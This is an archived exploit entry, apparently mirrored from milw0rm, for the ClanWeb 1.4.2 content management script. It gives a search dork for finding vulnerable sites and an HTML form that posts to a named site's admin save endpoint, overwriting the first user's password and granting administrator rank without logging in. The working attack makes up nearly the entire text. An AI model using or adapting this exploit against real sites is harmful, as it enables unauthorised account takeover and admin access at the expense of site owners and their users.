ClanWeb 1.4.2 - Remote Change Password / Add Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

ClanWeb 1.4.2 Remote Change Password / Add Admin exploit by ahmadbad


                                                                =-=-remote change password and add admin xpl-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script:ClanWeb 1.4.2
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.clanadmintools.com/files.htm
--------------------------------------------------
dork:&#34;Powered by ClanAdmin Tools v1.4.2&#34;
--------------------------

change pass and add admin:


&#60;h2&#62;coded by ahmadbady&#60;/h2&#62;
&#60;form id=&#34;FormName&#34; action=&#34;http://mercurycs.co.za/admincp/save.php?type=user&amp;action=update&amp;id=1&#34; method=&#34;post&#34; name=&#34;FormName&#34;&#62;
&#60;table width=&#34;100%&#34; border=&#34;0&#34; cellspacing=&#34;0&#34; cellpadding=&#34;3&#34; align=&#34;center&#34;&#62;
&#60;tr&#62;
&#60;td align=&#34;left&#34; valign=&#34;top&#34; bgcolor=&#34;#f5f5f5&#34; width=&#34;20%&#34;&#62;&#60;strong&#62;Username:&#60;/strong&#62;&#60;/td&#62;
&#60;td align=&#34;left&#34; bgcolor=&#34;#f5f5f5&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;username&#34; value=&#34;root&#34; size=&#34;24&#34;&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td align=&#34;left&#34; valign=&#34;top&#34; width=&#34;20%&#34;&#62;&#60;strong&#62;Password:&#60;/strong&#62;&#60;/td&#62;
&#60;td align=&#34;left&#34;&#62;&#60;input type=&#34;password&#34; name=&#34;password&#34; size=&#34;24&#34;&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td align=&#34;left&#34; valign=&#34;top&#34; bgcolor=&#34;#f5f5f5&#34; width=&#34;20%&#34;&#62;&#60;strong&#62;E-mail Address:&#60;/strong&#62;&#60;/td&#62;
&#60;td align=&#34;left&#34; bgcolor=&#34;#f5f5f5&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;mail&#34; value=&#34;&#34; size=&#34;24&#34;&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td align=&#34;left&#34; valign=&#34;top&#34; bgcolor=&#34;#f5f5f5&#34; width=&#34;20%&#34;&#62;&#60;strong&#62;Permissions:&#60;/strong&#62;&#60;/td&#62;
&#60;td align=&#34;left&#34; bgcolor=&#34;#f5f5f5&#34;&#62;&#60;select name=&#34;u_rank&#34; size=&#34;1&#34;&#62;
&#60;option value=&#34;1&#34;&#62;1&#60;/option&#62;
&#60;option value=&#34;1&#34;&#62;Admin&#60;/option&#62;
&#60;option value=&#34;3&#34;&#62;Member&#60;/option&#62;
&#60;/select&#62;&#60;/td&#62;
&#60;/tr&#62;			
&#60;/table&#62;&#60;br&#62;
&#60;div align=&#34;center&#34;&#62;&#60;input type=&#34;submit&#34; name=&#34;edit_user&#34; value=&#34;Edit User&#34;&#62;&#60;/div&#62;
&#60;/form&#62;
&#60;/td&#62;									

---

# milw0rm.com [2009-05-18]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1